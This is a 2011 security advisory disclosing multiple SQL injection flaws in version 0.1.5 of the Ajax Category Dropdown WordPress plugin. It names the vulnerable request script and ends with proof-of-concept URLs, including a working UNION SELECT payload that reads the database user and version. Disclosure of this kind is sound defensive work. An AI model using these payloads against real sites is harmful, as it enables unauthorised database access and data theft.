HTB22946: Multiple SQL Injection in Ajax Category Dropdown wordpress plugin

Vulnerability ID: HTB22946
Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_in_ajax_category_dropdown_wordpress_plugin.html
Product: Ajax Category Dropdown wordpress plugin
Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ )
Vulnerable Version: 0.1.5
Vendor Notification: 07 April 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%28%29,3,4,5,6,7,8,9,version%28%29%20–%201